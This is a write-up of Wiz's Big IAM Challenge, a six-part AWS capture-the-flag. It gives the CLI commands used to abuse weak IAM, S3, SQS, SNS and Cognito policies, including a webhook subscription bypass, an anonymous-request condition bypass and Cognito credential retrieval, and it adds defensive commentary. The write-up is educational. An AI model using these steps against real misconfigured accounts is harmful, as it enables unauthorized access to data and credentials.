Table of Contents
- Introduction
- Challenge #1
- Challenge #2
- Challenge #3
- Challenge #4
- Challenge #5
- Challenge #6
- Conclusion
Introduction
The Big IAM Challenge from Wiz is a series of six CTF challenges that provide you with access to the CLI and a policy statement that you must exploit. The challenges are to be completed in order and cover a number of AWS services.
The challenges may cover services or concepts that you might have not used. However, reading the official documentation can provide insight on how to interact with services and figure out a path forward.
In this write-up I will walk you through completing the The Big IAM Challenge create by Wiz.
The purpose of the challenge is to exploit intentionally weak IAM policies.
So let's jump into it.
Challenge #1: Buckets of Fun
We all know that public buckets are risky. But can you find the flag?
For this challenge we are giving the following IAM policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
The first red flag in this policy is that the s3:GetObject action is allowed for the principal "*". Because there are no additional conditions or restrictions, anyone can retrieve any object whose key exists in the bucket specified by the resource ARN.
Further down, the policy allows any principal "*" to perform s3:ListBucket on the bucket, but only when the requested listing prefix matches files/*. This means users can enumerate object keys under the files/ prefix (for example, files/report.pdf or files/images/cat.png), but they cannot use bucket listing operations to enumerate objects outside that prefix.
Using this knowledge we open type the following in the CLI window:
aws s3api list-objects-v2 --bucket thebigiamchallenge-storage-9979f4b --prefix files/
Here we see two files:
flag1.txt
logo.png
It looks like our flag will be in the flag1.txt file. Let's ruj the s3 cp command to print the object to the terminal. The syntax is:
aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt -
Bingo! We have our first flag:
{wiz:exposed-storage-risky-as-usual}
Commentary:
Misconfigured S3 buckets with overly broad Principal: "*" permissions can expose sensitive data publicly. Even if listing is partially restricted, direct object access (s3:GetObject) is enough to leak data if filenames can be discovered or guessed.
Challenge #2: Google Analytics
We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?
Join our queue and get the secret flag.
Here we are doing with an IAM policy related to Amazon Simple Queue Service (SQS).
The policy provided looks like this:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
Here, we immediately notice that the actions SendMessage and ReceiveMessage are available to anyone (Principal: "*") for the stated queue name.
Our first step will be to get the URL for the queue. Since we can't use aws sqs get-queue-url on the queue name (trust me I tried), we must construct the URL for the queue.
Looking at the resource ARN we can create the URL to receive the message. We know the queue is in the us-east-1 region, the account id is 9229785137, and the name of the queue is wiz-tbic-analytics-sqs-queue-ca7a1b2.
Combining these we have:
https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
Now to run the receive-message command on this URL.
aws sqs receive-message --region us-east-1 --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
This gives use the following:
{
"Messages": [
{
"MessageId": "e63575fe-668b-49c9-87f6-6f6c720e9cea",
"ReceiptHandle": "AQEB6YKj+vRvSl+Jw+j98rsKp44j3xa2ksh2SSWgUXtSHl1bq0U/lYGKdxvbewrma5ikamBXigHh+JHidYb3tqj79O9AHnYifrXbK84EcNgMwjBt7z5B5NLtcVlElr0LX+VTwml701l2O5AaqOGcFdU85++riVfr143ex96kjYLe
Z4SgZ2+WO0FQY7QATx6kB5aQeZ5jlTIZF7+XXjrRQz21PrnuAvzfBRxYriE4pgNnLrAdddIngKbKnm/jqW4jGoiL7tpxouIrEElC/kN/HxSG/Zq5xB3p96WxK2FAv4pWjcTIslFwZYJCOSkNbX7QSQMi+7YS9BBLYHxgvoBRgxr4gIxNT+6CVzRJvS/7PSyOYN5Us8XwmD
gJHtkPBUJ8X/VAHGfSX2d8msVcAeB0kn12FqB9AlVAiQkHdL4wZh7zHsY=",
"MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
"Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\":
true}"
}
]
}
We have the message. We can see from the body there is a static page hosted in the bucket. If we visit the link provided we get our second flag!:
{wiz:you-are-at-the-front-of-the-queue}
Commentary:
Overly permissive SQS policies combined with predictable queue URLs can allow anyone to read or inject messages. Security should not rely on obscurity (like not exposing queue names), and message queues must never allow public ReceiveMessage access.
Challenge #3: Enable Push Notifications
We got a message for you. Can you get it?
We are given the following IAM policy:
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}
We see that any AWS principal ("*") is allowed to call SNS:Subscribe on the topic, provided the subscription endpoint matches the pattern *@tbic.wiz.io.
At first glance, this appears to restrict subscriptions to email addresses in the tbic.wiz.io domain. However, the policy only checks the value of sns:Endpoint and does not restrict the subscription protocol.
Luckily for us, SNS supports multiple protocols, including email, HTTPS, SQS, and Lambda. This raises the question: can we supply a valid HTTPS endpoint whose URL still matches the required pattern?
Some more digging and we can use something like THIS to test webhooks. Looking at the SNS documentation we build a command for HTTPS to subscribe to the topic. It would look something like this (your webhook URL will be different):
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint https://dbca66c2-4b21-489e-9c3c-a86a8da39f67.webhook.site/@tbic.wiz.i
o
Running that command gives us this output on the terminal signifying the subscription request was accepted and is awaiting confirmation:
{
"SubscriptionArn": "pending confirmation"
}
Let's hop back over to our webpage that generated the link and we will see some JSON which contains a SubscribeURL. Copy and paste that into a new window to confirm the subscription and wait a bit.
We can see that we have successfully subscribed to the topic and received the message below:
{
"Type": "Notification",
"MessageId": "a465f516-5deb-52a2-af08-97b35f4221bc",
"TopicArn": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Message": "{wiz:always-suspect-asterisks}",
"Timestamp": "2026-06-11T18:37:29.629Z",
"SignatureVersion": "1",
"Signature": "gmYwRlwq8PDeqPNVSWr7yITQxMuIsPI1WMNLiU0+lfsyxtIj/dvGbuM15UHpEMzjpaG+/mEhsKgWugnv93uNfL/MXPvXYIRWB05Shd978WpiuUa5nuhuPrSMG/ZoQX4fetQqi5tmbuuo8ioyfp0qyQjI0w+I4B/FTtSUZxG//x3O7UHiXdqIiKXdRC2+DlNJg07jaCR1nZ/BOYYBbimyBHoW7BeW6i6zx1fYCL+7iVXdkX1U5SqwJFrJE6njIr2R+ysJ8GhiJ2rOghz025l318E83o14R8/pDELUYZ5Y4bF6rILry0H1pIAvPsiBvqplg94cXqUAj0mpzcjNiQZ6cQ==",
"SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-7506a1e35b36ef5a444dd1a8e7cc3ed8.pem",
"UnsubscribeURL": "https://sns.us-east-1.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications:8ac51319-0a7d-44fd-87b6-3331fe7545e0"
}
Within this, we find our flag!:
{wiz:always-suspect-asterisks}
Commentary:
SNS subscription filters based only on string matching (like email patterns) are not sufficient security controls. Attackers can bypass intended restrictions by choosing alternative subscription protocols (like HTTPS webhooks), exposing messages without using the expected identity channel.
Challenge #4: Admin Only?
We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?
We are given the following IAM policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}
There are two things to note here. The first statement allows anyone ("*") to retrieve objects from the s3 bucket.
The second statement appears to allow listing objects in the bucket only when the prefix is files/* and the principal ARN belongs to the admin user.
Enumerating the bucket using our current IAM user does not reveal anything useful because we do not satisfy the policy condition.
So how can we satisfy the condition of ForAllValues:StringLike: admin?
We need to understand what this policy is attempting to do and what effect it actually has. We know at a glace the author of the policy is attempted to prevent the listing of the bucket objects to anyone who is not admin.
So, unless we happened to know what the name of the object we were after, we would be left guessing.
However, if we focus on what that part of the policy is actually saying, we notice a flaw.
aws:PrincipalArn is normally a single-valued context key, but the policy uses the set operator ForAllValues:
It is essentially checking "Does every value in this list match the specified pattern"?
When we use a value other than admin, we get rejected. So what happens if there is no aws:PrincipalArn value at all?
For example, if we make an anonymous request directly to S3, the aws:PrincipalArn context key is absent from the request context?
Since ForAllValues evaluates whether every value in the request matches the specified pattern. When there are no values present, there are no values that violate the condition, so the expression evaluates to true.
"All tigers in my garage are purple".
This is true not because tigers are purple but that there are no counter examples.
So how can we list the buckets without a principal?
We will form an HTTP request and provide the requested prefix like so:
https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321?prefix=files/
The URL is not bypassing S3 permissions. It is performing a normal ListBucket operation with a prefix filter. The request succeeds because the ForAllValues:StringLike condition evaluates to true when aws:PrincipalArn is absent.
This gives us the following:
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>thebigiamchallenge-admin-storage-abf1321</Name>
<Prefix>files/</Prefix>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>files/flag-as-admin.txt</Key>
<LastModified>2023-06-07T19:15:43.000Z</LastModified>
<ETag>"e365cfa7365164c05d7a9c209c4d8514"</ETag>
<Size>42</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>files/logo-admin.png</Key>
<LastModified>2023-06-08T19:20:01.000Z</LastModified>
<ETag>"c57e95e6d6c138818bf38daac6216356"</ETag>
<Size>81889</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>
We can see a file of interest named flag-as-admin.txt
Since anyone can do a get on the S3 bucket's objects we will do just that.
We run the following command:
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt -
Now, we have our flag!
{wiz:principal-arn-is-not-what-you-think}
Commentary:
IAM condition keys can behave unexpectedly when evaluated with operators like ForAllValues. Security assumptions about “admin-only access” can break when context values are missing (such as anonymous requests), leading to unintended privilege bypasses.
Challenge #5: Do I Know You?
We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.
We are given the following IAM policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}
If we try to list or get the bucket objects we are denied access. The permissions suggest we should have access to the bucket, but our current identity does not. Since the challenge hints at AWS Cognito, our next step is to determine whether we can obtain a Cognito identity and temporary AWS credentials.
Oddly, there is an image of the AWS Cognito icon on the page. Inspect image and look at the page source code.
Looking through the page source, we find a hardcoded Cognito Identity Pool ID. The JavaScript initializes AWS.CognitoIdentityCredentials, which means the application is obtaining temporary AWS credentials from Cognito and then using those credentials to access S3:
AWS.config.region = 'us-east-1';
AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
// Set the region
AWS.config.update({region: 'us-east-1'});
$(document).ready(function() {
var s3 = new AWS.S3();
params = {
Bucket: 'wiz-privatefiles',
Key: 'cognito1.png',
Expires: 60 * 60
}
signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
$('#signedImg').attr('src', url);
});
});
We grab the id and run the command:
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
We get back:
{
"IdentityId": "us-east-1:157d6171-ee34-ce8e-4c0c-a09581a3df44"
}
Normally, an application would use Cognito to obtain temporary AWS credentials for authenticated or guest users. In this case, the Identity Pool was configured in a way that allowed us to request an identity and obtain credentials directly.
Now we run this command to get the credentials:
aws cognito-identity get-credentials-for-identity --identity-id us-east-1:157d6171-ee34-ce8e-4c0c-a09581a3df44
Bingo! We have credentials. We won't be able to conveniently use these credentials from the browser, so we'll configure a local AWS CLI profile instead.
In your local terminal run the following commands replacing for the values you got back:
aws configure set aws_access_key_id "<ACCESS_KEY>" --profile wiz
aws configure set aws_secret_access_key "<SECRET_KEY>" --profile wiz
aws configure set aws_session_token "<SESSION_TOKEN>" --profile wiz
Now that our credentials file is set up, lets list the contents of the bucket like so:
aws s3 ls s3://wiz-privatefiles/ --profile wiz
We see an interesting file that might contain our flag.
Let's go ahead and print it to the terminal:
aws s3 cp s3://wiz-privatefiles/flag1.txt --profile wiz -
And we have our flag!:
{wiz:incognito-is-always-suspicious}
Commentary:
Hardcoded or exposed Cognito Identity Pool IDs can allow attackers to obtain temporary AWS credentials. Even when services appear “unauthorized,” identity federation misconfiguration can enable full access to backend resources like S3.
Challenge #6: One Final Push
Anonymous access no more. Let's see what can you do now.
Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role
We have the following IAM policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}
In summary, this policy is telling us the following:
- the role can be assumed via sts:AssumeRoleWithWebIdentity
- the identity provider is AWS Cognito cognito-identity-amazonaws.com
- the request must come from the Cognito Identity Pool mentioned in the policy
Like we previously did, lets get out Identity ID:
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
We get back the following:
{
"IdentityId": "us-east-1:157d6171-eead-c72e-7dff-c468129ed747"
}
With this Identity ID, we can get an OpenID token as sts is not available in this sceniario to capture our flag:
aws cognito-identity get-open-id-token --identity-id us-east-1:157d6171-eead-c72e-7dff-c468129ed747
We get back a JSON Web Token (JWT).
{
"IdentityId": "us-east-1:157d6171-eead-c72e-7dff-c468129ed747",
"Token": "eyJraWQiOiJ1cy1lYXN0LTEtOSIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6MTU3ZDYxNzEtZWVhZC1jNzJlLTdkZmYtYzQ2ODEyOWVkNzQ3IiwiYXVkIjoidXMtZWFzdC0xOmI3M2N
iMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3ODEzMDgyNjUsImlhdCI6MTc4MTMw
NzY2NX0.iGNcBcnULKzzwzRWUKhtEv4UgeKHdUyJitszd945gG5CH7sCf5tcUIUbfyf3U997lV4DpjX58FNgb1MlaKpZSKfhV_JARd8A3zKkjtRCwFZVryHotSzA8mMCxNl037BS21TBIVCKGzwGeUXZGliPHmeTD__qrhEo8HTFDPDFzKTIE
YGCftWj54D60vod0g7aXtD_2edVfcHMTQvvVn3NDM3Sw2D5GEl0gf8fsMk7zK-C7C4oJlPQFwYb6bOdXMHie-RXoY_QSDwjATll0SaZoVNlSGTwyCpvrv8P9DUCxtwe6S3B_4vuFTf_7TSKoV7Z157a-Lc6nASZbrWo8Ak6sQ"
}
We can use this JWT to assume the role using the role ARN provided earlier as well as providing a role session name:
aws sts assume-role-with-web-identity --web-identity-token eyJraWQiOiJ1cy1lYXN0LTEtOSIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6MTU3ZDYxNzEtZWVhZC1jNzJlLTdkZmYtYzQ2ODEyOWVkNzQ3IiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3ODEzMDgyNjUsImlhdCI6MTc4MTMwNzY2NX0.iGNcBcnULKzzwzRWUKhtEv4UgeKHdUyJitszd945gG5CH7sCf5tcUIUbfyf3U997lV4DpjX58FNgb1MlaKpZSKfhV_JARd8A3zKkjtRCwFZVryHotSzA8mMCxNl037BS21TBIVCKGzwGeUXZGliPHmeTD__qrhEo8HTFDPDFzKTIEYGCftWj54D60vod0g7aXtD_2edVfcHMTQvvVn3NDM3Sw2D5GEl0gf8fsMk7zK-C7C4oJlPQFwYb6bOdXMHie-RXoY_QSDwjATll0SaZoVNlSGTwyCpvrv8P9DUCxtwe6S3B_4vuFTf_7TSKoV7Z157a-Lc6nASZbrWo8Ak6sQ --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name WizHacker
We get back some credentials! Let's use our local terminal to set up a profile containing these (see earlier for how to do this):
aws configure set aws_access_key_id "<ACCESS_KEY>" --profile wiz
aws configure set aws_secret_access_key "<SECRET_KEY>" --profile wiz
aws configure set aws_session_token "<SESSION_TOKEN>" --profile wiz
now we can run a list command on s3 with:
aws s3 ls --profile wiz
We see some interesting folders and drill down to look inside this one:
aws s3 ls s3://wiz-privatefiles-x1000 --profile wiz
We see two files in the bucket including the one with our flag.
We output it to the console:
aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt --profile wiz -
We have our flag!:
{wiz:open-sesame-or-shell-i-say-openid}
Commentary:
Weak trust assumptions in federated identity flows (Cognito → STS → IAM roles) can be exploited if an attacker can obtain a valid identity token. Once federated authentication is compromised, role assumption can escalate access to sensitive resources.
Conclusion
Across all the challenges in this CTF, the recurring theme is the AWS security failures are seldom the result of advanced exploits but rather misconfigured identity and access controls. Overly broad IAM policies (i.e. Principal: "*") repeatedly demonstrate how cloud resources become vulnerable when permissions are tightly scoped.
Another lesson from this CTF is that security conditions are often misunderstood resulting in misuse. What may initially appear secure can behave in non-obvious ways if not thoroughly examined. When combining edge cases with missing context values or alternative protocols, these subtle logic gaps can leave your cloud resources vulnerable.
Lastly, if access control relies on obscurity, optional parameters, or incomplete conditional logic, then it becomes a vector that can lead to resources becoming vulnerable to bad actors.

Top comments (0)